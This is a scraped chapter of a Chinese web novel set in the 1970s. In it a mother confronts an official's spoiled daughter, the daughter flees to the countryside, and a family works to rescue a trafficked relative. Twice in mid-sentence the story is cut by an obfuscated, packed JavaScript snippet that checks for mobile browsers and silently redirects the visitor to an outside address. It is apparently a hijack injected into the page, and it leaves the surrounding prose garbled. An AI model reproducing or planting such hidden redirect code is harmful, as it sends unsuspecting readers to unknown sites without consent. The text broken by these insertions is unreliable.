下车的时候,正好到中午饭点,王露自己揣了两个葱油饼,又带了个水杯,凑合凑合便是一顿。 下午她照着地图找到了妇联,刚到那里,便看到一个年轻的女同志在发火。 看那架势,不知道的还以为妇联是她家开的呢。 王露最见不惯这种人了,也许是家里有背景,也许是找了个不错的工作,总之,狗仗人势,不会长久。 她没忍住,嘀咕了一句:“同志,这么大火气容易闭经,以后要是结了婚,生不了孩子,可吃亏了。” 淮颖颖猛地回头,恶狠狠地打量着这个乡下来的老妇女:“你懂什么?给我闭嘴!” 王露来劲了,尊老爱幼动不动?哪个有教养的小同志,会对一个老同志这么呼来喝去的? 立马反击过去:“我什么都懂,我有爹妈生,也有爹妈教,不像有些人,真以为鸡犬可以升天。” 淮颖颖气死了,抬起手来就想打人,叫王露抢前一步,一把扣住她的手腕,将她重重推倒在地。 “你敢打我?”淮颖颖越发愤怒了,质问道,“你知道我是谁吗?” “我管你是谁?天王老子来了也不能对这别人呼来喝去,这里是新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558191|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中国,不养老佛爷。”王露非常不客气,直接用慈禧来类比这个嚣张的女同志。 淮颖颖说不过她,爬起来后恶狠狠地放了个狠话:“你给我等着!” “呦,吓唬谁呢?有本事叫公安把我抓起来。”王露才不怕呢,她的帆布包里揣着她儿子的军官证,走到哪里都能挺直了腰杆子。 等淮颖颖走了,窗口的工作人员才开口提醒了一句:“阿姨,你惹错人了,她是淮首长唯一的女儿,家里还有三个贼护短的哥哥,你惹她,以后可有得你受了。” “怕什么?我等会就走了。”王露冷哼一声,问道:“你们妇联主任呢?我找她有事。” “你是?”窗口的小办事员吓了一跳,感觉赔笑脸。 王露拿出军官证:“我帮我儿子儿媳妇办件事。” 小办事员赶紧从窗口绕出来,亲自带着王露去了二楼。 王露说明来意,妇联主任赶紧拿起备忘录:“你放心王露同志,这事我们妇联一定高度重视,你先去招待所等我消息,我看看能不能安排一个工作人员跟你们一起去解救被拐妇女。” 毕竟,那报纸她上午刚刚读过,而且,这种事一旦办好了,是会算他们的政绩的。 王露从妇联离开不到五分钟,淮颖颖就带着一帮大院子弟赶了过来,要收拾刚才那个乡巴佬。 窗口办事员也不傻,知道对方是个军官的妈,不能得罪,但是淮颖颖也是个刺儿头,不得不应付。 于是小办事员只得搪塞道:“那阿姨是个怂包,你一走她就跑了。” 也对,放眼省城,谁敢跟她叫板啊?淮颖颖得意洋洋,摆了摆手,让她的狗腿子们散了。 她自己却没走,依旧跟办事员撒泼:“我要的证明呢?给我!” “真不行,主任交代过了,不能开办虚假的工作证明,你别再为难我了。” 淮颖颖气死了,抱着胳膊,冷笑道:“你真以为我开不到证明?不过是懒得去二楼找你们主任。” 小办事员硬着头皮:“那你去找吧,反正我没有这个权限。” 淮颖颖气死了,一扭头,蹬蹬蹬上了二楼。 结果孙主任也不肯给她开证明,还很严肃地批评了她:“你大嫂跟我千叮万嘱,不能再骄纵你,你要是还这么顽皮不懂事,以后可怎么是好?行了,别闹了,赶紧回去吧。” 淮颖颖像个气鼓鼓的河豚,就这么一路苦着脸回到了家里。 她大嫂吕丽阳一看她那苦瓜脸,就知道她在外面又闯祸了。 忍不住挖苦道:“呦,谁又惹着我们的首长千金了?跟我说说,我去帮你出口恶气。” 39. 妈归1 淮颖颖很不喜欢她这个大嫂,整天阴阳怪气的,就想看她吃瘪。 每次只要家里人护着她,大嫂就要拆台,说这么下去会把她宠坏的。 就像这次这个工作证明的事情,也是大嫂在搞鬼,就想逼她下乡插队,别再留在城里碍眼。 现在她只能继续装病,能拖一天是一天,至于她为什么不去正儿八经找个工作?她点儿背啊,三个哥哥都比她大,没赶上下乡插队,她就恰好赶上了。 她想找工作,人家都要先核实她的家庭情况,她老子又是个赫赫有名的大人物,要注意影响,不能明着违规给她安排工作,真的要把她气死了。 很不客气地质问道:“嫂,你明知故问做什么?难道你真想看到我下乡去插队?” 吕丽阳笑了:“我哪儿敢干涉首长千金的事情啊,不过是提醒孙阿姨,一切都要按照规章制度来办。要是她给你破了例,不小心被人举报了,连累她老人家丢了工作,那就不好了。再说了,你这装病装了好几年了,继续装下去不就行了,有什么必要去为难孙阿姨呢?回头你欠了人情,又得咱爸妈来还。你也这么大了,多少要有点孝心吧?” 淮颖颖说不过她,气鼓鼓地拿起搪瓷茶缸,摔在了地上。 哐当一声,“为人民服务”掉了一块皮,成了“为服务”。 吕丽阳捡起杯子,嘲讽道:“呦,你看,连杯子都知道,咱家这位千金小姐在搞特权呢,根本不该用人民的杯子。” 淮颖颖很想撕烂这个女人的嘴,可惜这是她大嫂,是给淮家生儿育女的功臣,就算她作为淮家唯一的女儿可以作威作福,可是在老一辈眼里,她也不能对几个嫂子无理。 只得忍着怒火,警告道:“你给我等着,你弟弟也不小了,我倒要看看,你舍不舍得他去插队!” “有什么不舍得的?玉不琢不成器!我家小旭才不会好逸恶劳,装病躲插队呢。”吕丽阳冷哼一声,扭头刷碗去了。 气得淮颖颖浑身发抖,忍无可忍,最终只得骂骂咧咧地出去找那些二世祖鬼混。 下午三点多,一群人来到朱雀湖公园划船,船上有人问她:“哎,颖颖,你真的能一直躲下去吗?听说最近知青办会挨家挨户地核查,要是被人发现你装病——” “怕什么,我不是还有几个表妹吗?大不了花钱找个苦力咯。”淮颖颖不以为意,坐在船头,那叫一个志得意满。 可惜湖面远处刮来一阵风,周围又有其他游船路过,掀起的涟漪剧烈摇晃着船身。 一个不稳,便把她掀到水里去了。 几个男生赶紧跳下去救人,最终是大院刺儿头李进步把她抱上了船。 两人浑身湿透,盛夏时节本就穿得单薄,这一抱…… 不少同伴都懂事地移开了视线,装作什么也没看见,然而李进步却直勾勾地盯着这个女人,考虑着怎么让自己的老子更进一步。 也许,献上他自己就可以了。 只要他成了淮家的女婿,他老子一定可以受到提拔。 想到这里,他故意掩饰道:“你们别这样,其实我什么也没有看到,什么也没有碰到,真的。” “你可得了吧,颖颖身上的白衬衫都湿透了。” “就是,你俩都抱在一起了,干脆点得了,回去让李叔叔去提亲吧。” “反正颖颖一直装病,也不打算上班,找个人嫁了也挺好的。” 一个看热闹不嫌事大的女生感慨道:“就是可惜了,丁学峰不在,不然就有好戏看了。” “丁家还没有提亲吧?” “好像在准备了,说是要买什么进口手表,买到了再上门。” “那完了,丁学峰回来肯定要炸毛。” “那挺好的啊,说明咱们颖颖受欢迎啊。”女生故意笑着看向湿透的淮颖颖,“你说是吧,颖颖?其实你跟谁结婚都一样,反正有你爸爸和三个哥哥罩着,跟谁都是好日子。” 淮颖颖恶狠狠地剜了她一眼:“白妍,你什么意思?” “夸你家有权有势啊。”白妍一脸的无辜,“难道我说错了?” 淮颖颖抬起滴水的胳膊,反手狠狠掐了她一把:“你给我闭嘴!我只会嫁给我的白马王子,其他的谁都不要!” “呦,还白马王子呢,这里可是人民民主专政的国家,没有什么王子公主。”白妍挨了掐,更加火力全开,挖苦道,“你要想找王子,恐怕得放弃中国国籍才行了。” 淮颖颖这下真的恼了,猛不丁地一推,把白妍掀到了水里。 白妍倒是不慌,拒绝了下水帮忙的男生,自己爬上了另外一条船。 这下两人算是彻底结下梁子了,白妍也不说话,等到船一靠岸,便找男生借了件衬衫围在外面,头也不回地走了。 下午五点,知青办收到群众举报,某大院子弟仗着自己爸爸有权有势,屡屡装病逃脱下乡,就连医院开的病例都是假的。 知青办表示一定重视这件事,不过今天已经到了下班时间,只能明天再说。 当天晚上,淮家便收到了消息。 老大老二分别在空军某部和海军某部就职,只有老三留在了省城。 老二的老婆去了海岛随军,老大的老婆为了照顾两个孩子,没去东北随军,加上老三的老婆毛秀英,淮颖颖和两个老的,留在省城的一共是八口人。 这会儿八口人都在,两个孩子不懂这些,只管玩游戏,两个老的愁眉不展,在规则和私情之间难以取舍。 两个儿媳妇却一条心,一再劝说老两口,不能再这么护短了,颖颖都这么大了,再骄纵下去只会害了她。 最终,众人看向了一直沉默的淮家老三。 得到的却是一个不粘锅的回答:“看我干什么?爸妈都在,再不济还有大哥大嫂,我去看书了,你们吃。” 最终在两个儿媳妇的一再劝说下,老两口还是同意了:“颖颖啊,与其等到知青办来核实,陷入被动,不如爸妈给你安排个生活条件相对富裕的地方。” “谁说我要去了?我不去,不去,偏不去!”淮颖颖气死了,直接把饭桌掀了,这都什么人啊,一个个的,全都针对她! 她就是不去! 她就这么哭着跑出了家门,找到她心上人家门口,却没有勇气进去。 也不知道为什么,叶家父母很不喜欢她,每次她去找叶行知,都会遭受叶家父母的冷言冷语。 这会儿人家一大家子正在吃饭,她去了肯定扫兴。 无奈,只好徘徊在机关大院的门口,犹豫半天,还是走了。 刚到半路,就遇到了李进步,四目相对,李进步主动笑着打招呼:“颖颖,这么晚了,怎么一个人在外面?” “关你什么事?”淮颖颖不喜欢李进步,这人的目的性太强了,她看得出来。 她扭头便走,李进步却装作看不懂她的嫌弃,一步顶她两步的,慢条斯理地跟着。 两人在部队大院门口遇到了刚从外面回来的丁学峰。 他为了托人从国外带一块进口表回来,废了好大的功夫。 可是,就在他因为淮颖颖的出现而眼中一亮的时候,却见李进步上前一步,主动握住了淮颖颖的手:“颖颖,你怎么在发抖啊?” 淮颖颖蹙眉,一把将他推开:“神经病啊,我哪儿发抖了?” “哦,我可能看错了,今天你在湖里呛了水,当时就是这样发抖的,可把我吓坏了。”李进步一脸的紧张,好像他真的只是在关心淮颖颖的健康。 丁学峰眼中的光立马暗淡了下去,他看着淮颖颖,问道:“你们去朱雀湖玩了?” 李进步抢答道:“对啊,颖颖掉水里去了,幸好我离得近,及时把她抱上了船。可别说,这家伙看着个头不小,抱在怀里却跟一朵棉花似的,轻飘飘的,柔柔弱弱的。” 丁学峰听不下去了,黑着脸,扭头离去。 淮颖颖虽然不喜欢他,可也不希望被他误会了她跟李进步的关系,赶紧追了上去:“峰哥,你别走这么快啊,等等我啊。” 等她小跑步拽住丁学峰的袖子,却被他直接甩开了:“对不起,我还有事,你们慢慢聊。” 淮颖颖尴尬地定在原地,完了,沾上李进步就没好事,这下真是跳进黄河也洗不清了。 再说了,当时划船的人那么多,都长着眼睛看到了。 淮颖颖气死了,赶紧回家,找爸妈商量对策。 吕丽阳听到她哭就脑袋疼,了解完来龙去脉,提议道:“干脆去乡下吧,就说送你养病去了,既不用真的插队,也可以应付知青办的人,你看着办吧。” “那去哪儿啊?”老三媳妇毛秀英真的很希望这个小姑子赶紧走,留在家里只会惹是生非。 吕丽阳想了想,提议道:“咱妈不是经常说吗?当初生颖颖的时候,正好赶上了渡江战役,那边的老乡特别热情,也特别淳朴,还帮忙抚养了颖颖一段时间呢。要不就送她去那儿吧。我了解过了,那边的公社条件不算差,沿江又有河,水产多,还能养蚕缫丝做刺绣,咱颖颖去了,都不用费什么劲,随便找个闲差都能混口饭吃。” 话音刚落,淮颖颖一拍桌子站了起来:“够了,你们不就是容不得我吗?我走就是了,不劳你们费心。” 这一走,淮颖颖当晚就没有回来,至于她去了哪里,淮家的人都不知道。 原本老两口想去追,却被两个儿媳妇拦了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561039|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天一早,知青办上门了解情况,在门外捡到了一封信,淮颖颖下乡插队去了。 淮家父母急死了,赶紧去大院其他人家打听,有没有人看到颖颖。 正着急呢,叶家父母黑着脸从机关大院赶了过来。 淮家父母一问,立马血压飙升。 他们的好女儿颖颖,把叶家的小儿子拐跑了,两个人一起下乡插队去了。 去的还是遥远的东北,估计是投奔她大哥去了。 两家父母急得口干舌燥,来不及吵架,跑到火车站一打听,晚了一步,车刚走。 这下只得大眼瞪小眼,被动的等待一双儿女主动联系他们。 * 王露昨天下午就去了趟武装部,今天事情已经办完了,妇联和武装部分别安排了一个工作人员陪同她回村。 到了家里,王露把闵家姐妹和丰雯一起召集过来,跟两位工作人员详细说明情况。 崔六拿出了那张卖身契,两个工作人员简直不敢相信,现在是新中国,居然还有人拿旧社会的卖身契挟持妇女? 他们不信,表示一定要去当地核实。 当天下午,闵橙萱跟闵金菊打完了介绍信,第二天便跟两个工作人员一起去了西北。 崔六留在家里照看楚泽林,至于宅基地那边,暂时不管了,本来天就热,清理构树能送半条命,现在又有更重要的事情——寻妈,自然要把那边的事推后。 至于闵铁牛,被崔六忽悠着,把那五百块取了出来。 钱刚到手,王轲便送了他一副银手镯。 崔六非常善解人意的表示:“爸,你安心进去吧,我帮你保管这笔钱。” 闵铁牛气得破口大骂,崔六却只管面带微笑,晃了晃手里的五百块钱:“你继续骂,这笔钱算你赔偿我的精神损失费。” 这下好玩了,许春燕还没解救出来,三个孩子也都被王轲扣押着,现在他自己也进去了。 也算是一种变相的团圆了。 吃过晚饭,崔六帮楚泽林做完一百套训练动作,又帮他排泄完,洗了澡,擦了痱子粉,这才骑着车,往毓秀村赶来。 闵红梅正在隔出来的洗澡间里端着水盆冲澡,小姨丰雯在院子里洗衣服。 王轲也在,他每天都会过来待一会儿,确认这两个女同志锁了门睡了觉,他才会去隔壁休息。 他笑着拿了张板凳:“表嫂,你怎么来了?” 崔六接过板凳,走过去把丰雯拽了起来:“哎呀小姨,我们接你回来是让你享福的,不是让你继续当牛做马的,衣服放下,回头我洗。”说着她把丰雯摁在了王轲给的板凳上,自己则坐在了丰雯原来坐着的小板凳上,笑着跟王轲解释道,“我不放心,过来问问,闵铁牛跟许春燕都会被判刑吧?至于他们的三个孩子,好像不能一直羁押下去吧?” 王轲心说表嫂真是人美心善,他大姨的眼光真好。 赶紧回道:“分人。闵青松涉嫌强.奸,女方家里不肯和解,他是肯定要坐牢的;至于闵蓝芙跟闵紫蓉,我跟小朱公安已经调查清楚了,她们虽然享受了他们父母贿赂工作人员,换来上学机会的好处,可是她们本人没有亲自贿赂,我跟小朱公安商量过了,准备放人。” “嗯。”崔六也是这么推测的,闵蓝芙跟闵紫蓉当时还没有成年,就算是她们做的,也不可能让她们坐牢。拘留了这么久,也算是给她们一个教训了。她只是好奇,“学校那边呢?会把她们退学吗?” “会的。我们会出具两份违规处罚通知书,交给学校。”王轲很是感慨,“可惜了,被她们两个挤掉了名额的人,一辈子都被毁了。还有你们姐妹四个,要是有亲妈在身边,怎么也不至于……” 他想说怎么也不至于上不了学,因为他了解过了,四姐妹当中,最高的只有初中毕业的水平。 都是偏心的爹跟黑心的后妈,以及躺着吸血的继弟继妹造成的。 亲妈知道了该有多伤心,简直不敢想象。 可是这话他说不出口,有种往表嫂伤口上撒盐的感觉。 崔六也感慨,人生就是这样的,给张三李四一点特权的任性,他们就能毁了赵大跟王二的人生。 而赵大跟王二,甚至全程蒙在鼓里,还以为是自己能力不足,不够格。 何其讽刺。 算了,过去的终究是过去了,只要违规的人得到了处罚,也算是大快人心。 二十天后,立秋了。 清早,崔六照常给楚泽林排泄,擦洗身体,忽然门口传来一阵躁动。 她下意识探头看向窗户口,便听门外传来了闵金菊兴奋的呼唤:“翠柳!翠柳你起来了吗?快看我跟二姐带谁回来了!”